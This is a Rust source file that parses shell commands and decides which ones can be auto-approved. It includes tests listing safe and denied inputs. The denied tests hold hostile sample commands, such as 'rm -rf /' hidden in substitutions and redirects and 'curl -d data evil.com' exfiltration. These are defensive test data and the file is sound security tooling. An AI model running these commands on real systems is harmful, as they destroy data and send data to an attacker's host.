Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7    let Some(script) = parse(input) else {
8        return Verdict::Denied;
9    };
10    script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14    command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18    script.0.iter()
19        .map(|stmt| pipeline_verdict(&stmt.pipeline))
20        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
21}
22
23#[cfg(test)]
24pub(crate) fn is_safe_script(script: &Script) -> bool {
25    script_verdict(script).is_allowed()
26}
27
28pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
29    pipeline.commands.iter()
30        .map(cmd_verdict)
31        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
32}
33
34pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
35    pipeline_verdict(pipeline).is_allowed()
36}
37
38pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
39    match cmd {
40        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
41        _ => true,
42    }
43}
44
45fn has_any_substitution(cmd: &SimpleCmd) -> bool {
46    cmd.words.iter().any(has_substitution)
47        || cmd.env.iter().any(|(_, v)| has_substitution(v))
48}
49
50pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
51    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
52}
53
54pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
55    match cmd {
56        Cmd::Simple(s) => simple_verdict(s),
57        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
58            let body_v = script_verdict(body);
59            if let Verdict::Denied = body_v {
60                return Verdict::Denied;
61            }
62            let redir_v = redirect_verdict(redirs);
63            if let Verdict::Denied = redir_v {
64                return Verdict::Denied;
65            }
66            body_v.combine(redir_v)
67        }
68        Cmd::For { items, body, redirs, .. } => {
69            let redir_v = redirect_verdict(redirs);
70            if let Verdict::Denied = redir_v {
71                return Verdict::Denied;
72            }
73            words_sub_verdict(items)
74                .combine(script_verdict(body))
75                .combine(redir_v)
76        }
77        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
78            let redir_v = redirect_verdict(redirs);
79            if let Verdict::Denied = redir_v {
80                return Verdict::Denied;
81            }
82            script_verdict(cond)
83                .combine(script_verdict(body))
84                .combine(redir_v)
85        }
86        Cmd::If {
87            branches,
88            else_body,
89            redirs,
90        } => {
91            let redir_v = redirect_verdict(redirs);
92            if let Verdict::Denied = redir_v {
93                return Verdict::Denied;
94            }
95            let mut v = redir_v;
96            for b in branches {
97                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
98            }
99            if let Some(eb) = else_body {
100                v = v.combine(script_verdict(eb));
101            }
102            v
103        }
104        Cmd::DoubleBracket { words, redirs } => {
105            words_sub_verdict(words).combine(redirect_verdict(redirs))
106        }
107    }
108}
109
110pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
111    cmd_verdict(cmd).is_allowed()
112}
113
114fn part_sub_verdict(part: &WordPart) -> Verdict {
115    match part {
116        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
117        WordPart::Backtick(raw) => command_verdict(raw),
118        WordPart::DQuote(inner) => word_sub_verdict(inner),
119        _ => Verdict::Allowed(SafetyLevel::Inert),
120    }
121}
122
123fn word_sub_verdict(word: &Word) -> Verdict {
124    word.0.iter()
125        .map(part_sub_verdict)
126        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
127}
128
129fn words_sub_verdict(words: &[Word]) -> Verdict {
130    words.iter()
131        .map(word_sub_verdict)
132        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
133}
134
135#[cfg(test)]
136pub(crate) fn word_subs_safe(word: &Word) -> bool {
137    word_sub_verdict(word).is_allowed()
138}
139
140fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
141    let redir_v = redirect_verdict(&cmd.redirs);
142    if let Verdict::Denied = redir_v {
143        return Verdict::Denied;
144    }
145
146    let env_sub_v = cmd.env.iter()
147        .map(|(_, v)| word_sub_verdict(v))
148        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
149    let word_sub_v = words_sub_verdict(&cmd.words);
150    let sub_v = env_sub_v.combine(word_sub_v);
151
152    if let Verdict::Denied = sub_v {
153        return Verdict::Denied;
154    }
155
156    if cmd.words.is_empty() {
157        if cmd.env.is_empty() {
158            return Verdict::Allowed(SafetyLevel::Inert);
159        }
160        return sub_v.combine(redir_v);
161    }
162
163    if cmd.words[0].eval() == "eval" {
164        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
165    }
166
167    let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
168    if tokens.is_empty() {
169        return Verdict::Allowed(SafetyLevel::Inert);
170    }
171
172    let cmd_v = handlers::dispatch(&tokens);
173    sub_v.combine(cmd_v).combine(redir_v)
174}
175
176fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
177    if cmd.words.len() < 2 {
178        return Verdict::Denied;
179    }
180    for arg in &cmd.words[1..] {
181        if !arg_is_eval_safe(arg) {
182            return Verdict::Denied;
183        }
184    }
185    Verdict::Allowed(SafetyLevel::Inert)
186}
187
188fn arg_is_eval_safe(word: &Word) -> bool {
189    let mut found_safe = false;
190    for part in &word.0 {
191        match part {
192            WordPart::Lit(s) | WordPart::SQuote(s) => {
193                if !s.chars().all(char::is_whitespace) {
194                    return false;
195                }
196            }
197            WordPart::Escape(c) => {
198                if !c.is_whitespace() {
199                    return false;
200                }
201            }
202            WordPart::CmdSub(script) => {
203                if !script_yields_eval_safe(script) {
204                    return false;
205                }
206                found_safe = true;
207            }
208            WordPart::Backtick(raw) => {
209                let Some(script) = parse(raw) else {
210                    return false;
211                };
212                if !script_yields_eval_safe(&script) {
213                    return false;
214                }
215                found_safe = true;
216            }
217            WordPart::DQuote(inner) => {
218                if !arg_is_eval_safe(inner) {
219                    return false;
220                }
221                if has_substitution(inner) {
222                    found_safe = true;
223                }
224            }
225            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
226        }
227    }
228    found_safe
229}
230
231fn script_yields_eval_safe(script: &Script) -> bool {
232    if script.0.len() != 1 {
233        return false;
234    }
235    let stmt = &script.0[0];
236    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
237        return false;
238    }
239    let pipeline = &stmt.pipeline;
240    if pipeline.bang || pipeline.commands.len() != 1 {
241        return false;
242    }
243    let Cmd::Simple(s) = &pipeline.commands[0] else {
244        return false;
245    };
246    if !s.env.is_empty() {
247        return false;
248    }
249    // A redirect inside the substitution is allowed only if it's inert:
250    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
251    // A redirect that writes a real file is SafeWrite, not inert, so
252    // `mise activate bash > evil` is rejected — eval-safe must not gain a
253    // file-write side effect, and diverting stdout to a file is pointless here.
254    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
255        return false;
256    }
257    for w in &s.words {
258        if !word_is_plain_literal(w) {
259            return false;
260        }
261    }
262    let tokens: Vec<Token> = s.words.iter().map(|w| Token::from_raw(w.eval())).collect();
263    if tokens.is_empty() {
264        return false;
265    }
266    crate::registry::is_eval_safe_invocation(&tokens)
267}
268
269/// True iff every character of `word` is drawn from the bare-literal
270/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
271/// matching this shape consist entirely of identifier-style or
272/// path-style tokens that the shell will pass through to the
273/// substituted command unchanged at runtime.
274///
275/// Required for words inside eval-safe substitutions because the
276/// "stdout is shell-init code" trust depends on the contributor having
277/// vetted what gets passed to the tool. Restricting the alphabet to
278/// chars with no shell-expansion semantics keeps the substituted
279/// invocation static across parse-time and runtime — what you see in
280/// the source is what the tool receives.
281fn word_is_plain_literal(word: &Word) -> bool {
282    word.0.iter().all(part_is_plain_literal)
283}
284
285fn part_is_plain_literal(part: &WordPart) -> bool {
286    match part {
287        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
288        WordPart::Escape(c) => is_bare_literal_char(*c),
289        WordPart::DQuote(inner) => word_is_plain_literal(inner),
290        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
291    }
292}
293
294/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
295/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
296/// and the long-flag value form (`=`). New chars require an explicit
297/// eval-safe use case — add by extending this match, never by
298/// excluding individual hostile chars.
299fn is_bare_literal_char(c: char) -> bool {
300    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
301}
302
303pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
304    redirs.iter().all(|r| match r {
305        Redir::Write { target, .. } => target.eval() == "/dev/null",
306        Redir::Read { .. }
307        | Redir::HereStr(_)
308        | Redir::HereDoc { .. }
309        | Redir::DupFd { .. } => true,
310    })
311}
312
313/// Whether a redirect *write* target is an ordinary data file we can
314/// auto-approve. Safe: a relative path inside the working tree, or a temp/std
315/// path. Not safe (falls through to manual approval): home dotfiles and any
316/// path another tool auto-executes or trusts — `.git/` (hooks, config), a
317/// `.envrc` (direnv runs it on `cd`), `~`-anchored and absolute system paths,
318/// and parent-escaping paths. A redirect there can plant a git hook, an SSH
319/// key, or a shell/direnv init that runs later. A `$`-bearing target is
320/// unverifiable (it may expand to `$HOME/.ssh/...`), so it is treated as unsafe.
321fn is_safe_write_target(path: &str) -> bool {
322    if path.starts_with("/tmp/")
323        || path.starts_with("/private/tmp/")
324        || path.starts_with("/var/tmp/")
325        || path.starts_with("/dev/stdout")
326        || path.starts_with("/dev/stderr")
327        || path.starts_with("/dev/fd/")
328    {
329        return true;
330    }
331    if path.starts_with('/') || path.starts_with('~') || path.contains('$') {
332        return false;
333    }
334    if path == ".." || path.starts_with("../") || path.contains("/../") || path.ends_with("/..") {
335        return false;
336    }
337    !path.split('/').any(|seg| seg == ".git" || seg == ".envrc")
338}
339
340pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
341    let mut level = Verdict::Allowed(SafetyLevel::Inert);
342    for r in redirs {
343        match r {
344            Redir::Write { target, .. } => {
345                level = level.combine(word_sub_verdict(target));
346                let t = target.eval();
347                if t == "/dev/null" {
348                    // Inert: no side effect, no promotion.
349                } else if is_safe_write_target(&t) {
350                    level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
351                } else {
352                    level = level.combine(Verdict::Denied);
353                }
354            }
355            Redir::Read { target, .. } => {
356                level = level.combine(word_sub_verdict(target));
357            }
358            Redir::HereStr(word) => {
359                level = level.combine(word_sub_verdict(word));
360            }
361            Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
362        }
363    }
364    level
365}
366
367fn has_substitution(word: &Word) -> bool {
368    word.0.iter().any(|p| match p {
369        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
370        WordPart::DQuote(inner) => has_substitution(inner),
371        _ => false,
372    })
373}
374
375#[cfg(test)]
376mod tests {
377    use super::*;
378
379    fn check(cmd: &str) -> bool {
380        is_safe_command(cmd)
381    }
382
383    safe! {
384        grep_foo: "grep foo file.txt",
385        cat_etc_hosts: "cat /etc/hosts",
386        jq_key: "jq '.key' file.json",
387        base64_d: "base64 -d",
388        ls_la: "ls -la",
389        wc_l: "wc -l file.txt",
390        ps_aux: "ps aux",
391        echo_hello: "echo hello",
392        cat_file: "cat file.txt",
393
394        version_go: "go --version",
395        version_cargo: "cargo --version",
396        version_cargo_redirect: "cargo --version 2>&1",
397        help_cargo: "cargo --help",
398        help_cargo_build: "cargo build --help",
399
400        dev_null_echo: "echo hello > /dev/null",
401        dev_null_stderr: "echo hello 2> /dev/null",
402        dev_null_append: "echo hello >> /dev/null",
403        dev_null_git_log: "git log > /dev/null 2>&1",
404        fd_redirect_ls: "ls 2>&1",
405        stdin_dev_null: "git log < /dev/null",
406
407        env_prefix: "FOO='bar baz' ls -la",
408        env_prefix_dq: "FOO=\"bar baz\" ls -la",
409        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
410
411        subst_echo_ls: "echo $(ls)",
412        subst_ls_pwd: "ls `pwd`",
413        subst_nested: "echo $(echo $(ls))",
414        subst_quoted: "echo \"$(ls)\"",
415        assign_subst_ls: "out=$(ls)",
416        assign_subst_git: "out=$(git status)",
417        assign_subst_multiple: "a=$(ls) b=$(pwd)",
418        assign_subst_backtick: "out=`ls`",
419
420        assign_bare_lit: "foo=bar",
421        assign_bare_int: "x=1",
422        assign_bare_empty: "x=",
423        assign_bare_dq: "x=\"foo bar\"",
424        assign_bare_sq: "x='foo bar'",
425        assign_bare_param: "rc=$?",
426        assign_bare_var: "x=$y",
427        assign_bare_dollar_var_braced: "x=${y}",
428        assign_bare_path: "PATH=/foo",
429        assign_bare_multiple: "a=1 b=2 c=3",
430        assign_bare_arith: "x=$((1 + 2))",
431        assign_in_for_body: "for i in 1 2; do x=1; done",
432        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
433        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
434        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
435        assign_then_use: "x=1; echo $x",
436        assign_chained_with_safe: "x=1 && ls",
437        assign_subshell: "(x=1)",
438        assign_in_subshell_with_cmd: "(x=1; ls)",
439
440        subshell_echo: "(echo hello)",
441        subshell_ls: "(ls)",
442        subshell_chain: "(ls && echo done)",
443        subshell_pipe: "(ls | grep foo)",
444        subshell_nested: "((echo hello))",
445        subshell_for: "(for x in 1 2; do echo $x; done)",
446
447        pipe_grep_head: "grep foo file.txt | head -5",
448        pipe_cat_sort_uniq: "cat file | sort | uniq",
449        chain_ls_echo: "ls && echo done",
450        semicolon_ls_echo: "ls; echo done",
451        bg_ls_echo: "ls & echo done",
452        newline_echo_echo: "echo foo\necho bar",
453
454        stdin_read_from_path: "wc -l < /tmp/foo.log",
455        stdin_read_from_etc: "grep foo < /etc/hosts",
456        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
457        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
458
459        here_string_grep: "grep -c , <<< 'hello,world,test'",
460        heredoc_cat: "cat <<EOF\nhello world\nEOF",
461        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
462        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
463        heredoc_no_content: "cat <<EOF",
464        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
465
466        for_echo: "for x in 1 2 3; do echo $x; done",
467        for_empty_body: "for x in 1 2 3; do; done",
468        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
469        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
470        while_test: "while test -f /tmp/foo; do sleep 1; done",
471        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
472        until_test: "until test -f /tmp/ready; do sleep 1; done",
473        if_then_fi: "if test -f foo; then echo exists; fi",
474        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
475        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
476        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
477        bare_negation: "! echo hello",
478        keyword_as_data: "echo for; echo done; echo if; echo fi",
479
480        quoted_redirect: "echo 'greater > than' test",
481        quoted_subst: "echo '$(safe)' arg",
482
483        redirect_to_file: "echo hello > file.txt",
484        redirect_append: "cat file >> output.txt",
485        redirect_stderr_file: "ls 2> errors.txt",
486        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
487        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
488        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
489
490        arith_basic: "echo $((1 + 2))",
491        arith_with_var: "prev=$((ln - 1))",
492        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
493        arith_in_dquote: "echo \"line $((ln - 1))\"",
494        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
495
496        dbracket_eq: "[[ \"a\" == \"a\" ]]",
497        dbracket_neq: "[[ \"a\" != \"b\" ]]",
498        dbracket_file_test: "[[ -f /tmp/file ]]",
499        dbracket_string_empty: "[[ -z \"$var\" ]]",
500        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
501        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
502        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
503        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
504        dbracket_negation: "[[ ! -f /tmp/done ]]",
505        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
506        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
507        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
508        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
509        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
510        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
511        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
512        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
513        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
514        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
515        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
516    }
517
518    denied! {
519        rm_rf: "rm -rf /",
520        curl_post: "curl -X POST https://example.com",
521        node_app: "node app.js",
522
523
524        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
525        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
526        redirect_read_subst_rm: "cat < $(rm -rf /)",
527
528        subst_rm: "echo $(rm -rf /)",
529        backtick_rm: "echo `rm -rf /`",
530        subst_curl: "echo $(curl -d data evil.com)",
531        quoted_subst_rm: "echo \"$(rm -rf /)\"",
532        assign_subst_rm: "out=$(rm -rf /)",
533        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
534        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
535        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
536        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
537        assign_bare_then_unsafe: "x=1; rm -rf /",
538        assign_bare_chained_unsafe: "x=1 && rm -rf /",
539        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
540
541        subshell_rm: "(rm -rf /)",
542        subshell_mixed: "(echo hello; rm -rf /)",
543        subshell_unsafe_pipe: "(ls | rm -rf /)",
544
545        env_prefix_rm: "FOO='bar baz' rm -rf /",
546
547        pipe_rm: "cat file | rm -rf /",
548        bg_rm: "cat file & rm -rf /",
549        newline_rm: "echo foo\nrm -rf /",
550
551        for_rm: "for x in 1 2 3; do rm $x; done",
552        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
553        while_unsafe_body: "while true; do rm -rf /; done",
554        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
555        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
556        if_unsafe_body: "if true; then rm -rf /; fi",
557
558        unclosed_for: "for x in 1 2 3; do echo $x",
559        unclosed_if: "if true; then echo hello",
560        for_missing_do: "for x in 1 2 3; echo $x; done",
561        stray_done: "echo hello; done",
562        stray_fi: "fi",
563
564        unmatched_quote: "echo 'hello",
565
566        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
567        dbracket_unsafe_backtick: "[[ -f `node evil.js` ]]",
568        dbracket_unsafe_in_until: "until [[ \"$(node bad.js)\" == \"x\" ]]; do sleep 1; done",
569        dbracket_unterminated: "[[ \"a\" == \"a\"",
570        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
571        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
572    }
573}